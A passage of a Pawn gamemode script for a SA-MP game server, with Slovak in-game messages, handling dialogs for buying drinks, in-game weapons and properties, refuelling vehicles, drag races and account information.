                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+6750);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
                    }
                }
                if(listitem == 2)
                {
                    if(GetPlayerACMoney(playerid)<5000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Whisky !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-5000);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+10000);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
                    }
                }
                if(listitem == 3)
                {
                    if(GetPlayerACMoney(playerid)<500) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Šampanské !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-500);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+3500);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
                    }
                }
                if(listitem == 4)
                {
                    if(GetPlayerACMoney(playerid)<400) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Pivo !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-400);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+2000);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_BEER);
                    }
                }
                if(listitem == 5)
                {
                    if(GetPlayerACMoney(playerid)<100) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Cigaretu !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-100);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+600);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_SMOKE_CIGGY);
                    }
                }
                if(listitem == 6)
                {
                    if(GetPlayerACMoney(playerid)<6000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Jointa !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-6000);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+15000);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_SMOKE_CIGGY);
                    }
                }
            }
             if(response) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_SecretAmmo)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    if(GetPlayerACMoney(playerid)<10000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-10000);
                        GivePlayerWeapon(playerid,9,1);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 1)
                {
                    if(GetPlayerACMoney(playerid)<200)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-200);
                        GivePlayerWeapon(playerid,16,1);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 2)
                {
                    if(GetPlayerACMoney(playerid)<15000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-15000);
                        GivePlayerWeapon(playerid,37,10);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 3)
                {
                    if(GetPlayerACMoney(playerid)<25000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-25000);
                        GivePlayerWeapon(playerid,34,5);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 4)
                {
                    if(GetPlayerACMoney(playerid)<40000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-40000);
                        GivePlayerWeapon(playerid,35,1);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 5)
                {
                    if(GetPlayerACMoney(playerid)<50000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-50000);
                        GivePlayerWeapon(playerid,40,1);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 6)
                {
                    if(GetPlayerACMoney(playerid)<1000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-1000);
                        GivePlayerWeapon(playerid,26,50);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 7)
                {
                    if(GetPlayerACMoney(playerid)<250)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-250);
                        GivePlayerWeapon(playerid,28,100);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 8)
                {
                    if(GetPlayerACMoney(playerid)<4000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-4000);
                        GivePlayerWeapon(playerid,31,100);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 9)
                {
                    if(GetPlayerACMoney(playerid)<500)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu vesty !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-500);
                        SetPlayerArmour(playerid,100);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
            }
             if(response == 0)
            {
                Player[playerid][IPIP]=false;
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Property)
        {
            if(response == 1)
            {
                new propertyid = Player[playerid][PropertyID];
                Player[playerid][IPIP]=false;

                     if(GetPlayerACMoney(playerid) < Property[propertyid][Price]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                else if(playerid == Property[propertyid][MajitelID]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už vlastníš tuto nehnuteľnosť ! !");
                else
                {
                    if(Property[propertyid][MajitelID] != 9999)
                    {
                        new ownerproperties = 0;
                        for(new i=0; i<MAX_PROPERTY; i++) if(Property[i][MajitelID] == Property[propertyid][MajitelID]) ownerproperties++;
                        
                        if(ownerproperties == 1)
                        {
                            return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Ľutujeme, ale vlastník tejto nehnuteľnosti vlastní iba tuto jedinu nehnuteľnosť a preo mu ju nemôžeš odkupiť !");
                        }
                    
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"[  !  ]{ffffff} Hráč %s (%d) odkupil jednu z tvojích nehnuteľnosti !",Name,playerid);
                        SendClientMessage(Property[propertyid][MajitelID], COLOR_WARNING, string);
                        GivePlayerMoney(Property[propertyid][MajitelID], floatround(floatmul(Property[propertyid][Price], 0.75)));
                    }

                    GivePlayerACMoney(playerid, -Property[propertyid][Price]);
                    Property[propertyid][MajitelID] = playerid;
                    SendClientMessage(playerid,COLOR_WHITE,"Kupil si si novu nehnuteľnosť.");
                }
            }
             if(response == 0)
            {
                Player[playerid][IPIP]=false;
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_FuelPump)
        {
            if(response == 1)
            {
                new vehicle = GetPlayerVehicleID(playerid);
                new fuel = strval(inputtext);
                new fuelx = MAX_VEHICLE_FUEL - VehicleFuel[vehicle];

                     if(!IsPlayerInAnyVehicle(playerid))                return GameTextForPlayer(playerid,"~r~Nie si v aute !",2500,5);
                else if(!inputtext[0] || !inputtext[1])                 return SendClientMessage(playerid,COLOR_WARNING,"Nezadal si počet Fuel Pointov !");
                else if(fuel<=0)                                        return SendClientMessage(playerid,COLOR_WARNING,"Nemôžeš zadať záporné číslo alebo nulu !");
                else if(fuel>fuelx)                                        return SendClientMessage(playerid,COLOR_WARNING,"Môžeš mať maximálne 10000 Fuel Pointos !");
                else if(GetPlayerACMoney(playerid) < strval(inputtext))    return SendClientMessage(playerid,COLOR_WARNING,"Nemáš dostatok peňazi na natankovánie !");
                else if(IsPlayerInAnyVehicle(playerid))
                {
                    new msg[128];
                    format(msg,128,"Natankoval si si %d Fuel Points za %d$ !", fuel,strval(inputtext));
                    SendClientMessage(playerid, COLOR_WHITE, msg);
                    GivePlayerACMoney(playerid, -strval(inputtext));
                    SetVehicleFuel(vehicle, fuel);
                }
                SetTimerEx("IsPlayerInPickupFalse",2500,0,"i",playerid);
            }
             if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse",2500,0,"i",playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Drag1)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    ShowPlayerDialog(playerid,Dialog_Drag11,DIALOG_STYLE_INPUT,"Drag","Zadaj počiatočnu sumu ktoru musia hráči\nzaplatiť aby sa mohli pripojiť do dragu","Create","Cancel");
                }
                if(listitem == 1)
                {
                    new string[128], way2[32];
                    format(way2,32,"SL/Server/HighScore.cfg");
                    format(string, 128, "Nejlepší čas: %f\nHráč: %s", dini_Float(way2,"DragTime"), dini_Get(way2,"Name"));
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Drag - High Score",string,"OK","Cancel");
                }
            }
             if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse",4000,0,"i",playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Drag11)
        {
            if(response == 1)
            {
                SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);

                     if(!strval(inputtext[0])) return ShowPlayerDialog(playerid,Dialog_Drag11,DIALOG_STYLE_INPUT,"Drag","{ff0000}Nezadal si sumu !{ffffff}\nZadaj počiatočnu sumu ktoru musia hráči\nzaplatiť aby sa mohli pripojiť do dragu","Create","Cancel");
                else if(strval(inputtext[0])<0) return ShowPlayerDialog(playerid,Dialog_Drag11,DIALOG_STYLE_INPUT,"Drag","{ff0000}Nemôžeš zadať záporné číslo !{ffffff}\nZadaj počiatočnu sumu ktoru musia\nzaplatiť aby sa mohli pripojiť do dragu","Create","Cancel");
                else if(strval(inputtext[0])>GetPlayerACMoney(playerid)) return ShowPlayerDialog(playerid,Dialog_Drag11,DIALOG_STYLE_INPUT,"Drag","{ff0000}Nemáš dostatok peňazi !{ffffff}\nZadaj počiatočnu sumu ktoru musia\nzaplatiť aby sa mohli pripojiť do dragu","Create","Cancel");
                else
                {
                    new vehicle = GetPlayerVehicleID(playerid);
                    new msgta[128], Name[24];
                    GetPlayerName(playerid,Name,24);
                    format(msgta,128,"[ DRAG ] Hráč %s (%d) založil Drag zo zaápisným %d$ !",Name,playerid,strval(inputtext[0]));
                    SendClientMessageToAll(COLOR_GOLD,msgta);
                    SendClientMessage(playerid,COLOR_GOLD,"[ DRAG ] Pre začatie dragu napiš /dragstart");
                    GivePlayerACMoney(playerid, -strval(inputtext[0]));
                    Drag[StartMoney] = strval(inputtext[0]);
                    Drag[Reward] = strval(inputtext[0]);
                    Drag[State]=1;
                    Drag[Players]=1;
                    Drag[RaceTime]=0;
                    Drag[StartTime]=5;
                    Player[playerid][DragRacer]=1;
                    SetVehiclePos(vehicle,1648.218,-1877.338,24.841);
                    SetVehicleZAngle(vehicle,14.6);
                    PutPlayerInVehicle(playerid,vehicle,0);
                    TogglePlayerControllable(playerid,0);
                    Player[playerid][IPIP]=false;
                }
            }
             if(response == 0) SetTimerEx("IsPlayerInPickupFalse",4000,0,"i",playerid);

        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Drag2)
        {
            if(response == 1)
            {
                if(listitem == 0 && GetPlayerVehicleID(playerid) > 0)
                {
                    SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);

                         if(Drag[Players]>=3) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Drag","{ff0000}Ľutujeme ale v dragu je už\npripojený maximálny počet hráčov !","OK","Cancel");
                    else if(Drag[State]==2) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Drag","{ff0000}Ľutujeme ale drag bol už odštartovany, počkaj chviľu.","OK","Cancel");
                    else if(GetPlayerACMoney(playerid)<Drag[StartMoney]) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Drag","{ff0000}Nemáš dostatok peňazi na zaplatenie štartovného !","OK","Cancel");
                    else
                    {
                        if(Drag[Players]==1)
                        {
                              GivePlayerACMoney(playerid,-Drag[StartMoney]);
                              Drag[Reward]+=Drag[StartMoney];
                            Drag[Players]++;
                            Player[playerid][DragRacer]=1;
                            new vehicle = GetPlayerVehicleID(playerid);
                            SetVehiclePos(vehicle,1644.063,-1877.338,24.841);
                            SetVehicleZAngle(vehicle,14.7);
                            PutPlayerInVehicle(playerid,vehicle,0);
                            TogglePlayerControllable(playerid,0);
                            new msgta[128], Name[24];
                            GetPlayerName(playerid,Name,24);
                            format(msgta,128,"[ DRAG ] Hráč %s (%d) sa pripojil do Dragu !",Name,playerid);
                            SendClientMessageToAll(COLOR_GOLD,msgta);
                            Player[playerid][IPIP]=false;
                        }
                        else if(Drag[Players]==2)
                        {
                            GivePlayerACMoney(playerid,-Drag[StartMoney]);
                            Drag[Reward]+=Drag[StartMoney];
                            Drag[Players]++;
                            Player[playerid][DragRacer]=1;
                            new vehicle = GetPlayerVehicleID(playerid);
                            SetVehiclePos(vehicle,1639.989,-1878.480,24.841);
                            SetVehicleZAngle(vehicle,16.3);
                            PutPlayerInVehicle(playerid,vehicle,0);
                            TogglePlayerControllable(playerid,0);
                            new msgta[128], Name[24];
                            GetPlayerName(playerid,Name,24);
                            format(msgta,128,"[ DRAG ] Hráč %s (%d) sa pripojil do Dragu !",Name,playerid);
                            SendClientMessageToAll(COLOR_GOLD,msgta);
                            Player[playerid][IPIP]=false;
                        }
                    }
                }
                if(listitem == 1)
                {
                    new string[128], way2[32];
                    format(way2,32,"SL/Server/HighScore.cfg");
                    format(string,128,"Nejlepší čas: %f\nHráč: %s",dini_Float(way2,"DragTime"),dini_Get(way2,"Name"));
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Drag - High Score",string,"OK","Cancel");
                }
            }
             if(response == 0) SetTimerEx("IsPlayerInPickupFalse",3000,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Info1)
        {
            if(response == 1)
            {
                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_Info2,DIALOG_STYLE_INPUT,"Change password","{ffffff}Zadej své staré heslo:","Dále","Cancel");
                if(listitem == 1)
                {
                    if(GetPlayerMoney(playerid)<100000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš 100 000$ !");
                    else ShowPlayerDialog(playerid,Dialog_Info4,DIALOG_STYLE_INPUT,"Change name","{ffffff}Zadaj svoje nové meno:","Change","Cancel");
                }
                if(listitem == 2)
                {
                    new IPAddress[128];
                    GetPlayerIp(playerid, IPAddress, 128);
                    new Text2[256];
                    format(Text2,256,"{ffffff}Tvoja IP adresa je:\n{ffff00}%s",IPAddress);
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Moja IP adress",Text2,"OK","Cancel");
                }
                if(listitem == 3)
                {
                    new Name[24];
                    new Text2[256];
                    new house[16];
                    new firm[16];
                    new clan[64];
                    new cway87f9[64];

                    GetPlayerName(playerid,Name,24);

                    if(Player[playerid][ClanP] != 9999) format(cway87f9,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                         if(Player[playerid][HouseP]==9999) house="-none-";
                    else if(Player[playerid][HouseP]!=9999) format(house,16," %d", Player[playerid][HouseP]);

                         if(Player[playerid][FirmP]==9999) firm="-none-";
                    else if(Player[playerid][FirmP]!=9999) format(firm,16," %d", Player[playerid][FirmP]);

                         if(Player[playerid][ClanP]==9999) clan="-none-";
                    else if(Player[playerid][ClanP]!=9999) format(clan,64," %d (%s)", Player[playerid][ClanP], dini_Get(cway87f9, "Name"));

                         if(Player[playerid][Minutes] < 9) format(Text2,256,"Name: %s\nID: %d\nKills: %d\nDeaths: %d\nHouse ID:%s\nFirm ID:%s\nClan ID:%s\nTime: %d:0%d",Name,playerid,Player[playerid][Kills],Player[playerid][Deaths],house,firm,clan,Player[playerid][Hours],Player[playerid][Minutes]);
                    else if(Player[playerid][Minutes]>=10) format(Text2,256,"Name: %s\nID: %d\nKills: %d\nDeaths: %d\nHouse ID:%s\nFirm ID:%s\nClan ID:%s\nTime: %d:%d",Name,playerid,Player[playerid][Kills],Player[playerid][Deaths],house,firm,clan,Player[playerid][Hours],Player[playerid][Minutes]);

                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Account Info",Text2,"Cancel","");
                }
                if(listitem == 4)
                {
                    if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP Člen !");
                    else
                    {
                        new string[256],
                            viptarif[64]
                        ;

                             if(Player[playerid][VIP]==1) viptarif="Bronze";
                        else if(Player[playerid][VIP]==2) viptarif="Silver";
                        else if(Player[playerid][VIP]==3) viptarif="Gold";

                        new way[32];
                        new Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(way,32,"SL/%s.cfg",Name);

                        new Float:timeleft;
                        timeleft = (dini_Int(way,"VIP_Time") - dini_Int("SL/Server/ServerTime.cfg","Time")) / 1440;

                        format(string,256,"VIP: %s\nPočet zostavajúcich dni: %.0f",viptarif,timeleft);
                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"VIP",string,"OK","Cancel");
                    }
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Info2)
        {
            if(response == 1)
            {
                new Name[24];
                GetPlayerName(playerid,Name,24);
                new way[32];
                format(way,32,"SL/%s.cfg",Name);
                if(!inputtext[0]) return ShowPlayerDialog(playerid,Dialog_Info2,DIALOG_STYLE_INPUT,"Change password","{ff0000}Nezadal si heslo !{ffffff}Zadaqj svoje staré heslo:","Dále","Cancel");
                else if(strcmp(dini_Get(way,"Password"),lyrhash(inputtext),false)) return ShowPlayerDialog(playerid,Dialog_Info2,DIALOG_STYLE_INPUT,"Change password","{ff0000}Zle heslo ! {ffffff}Zadaj svoje staré heslo:",")Dalej","Cancel");
                else
                {
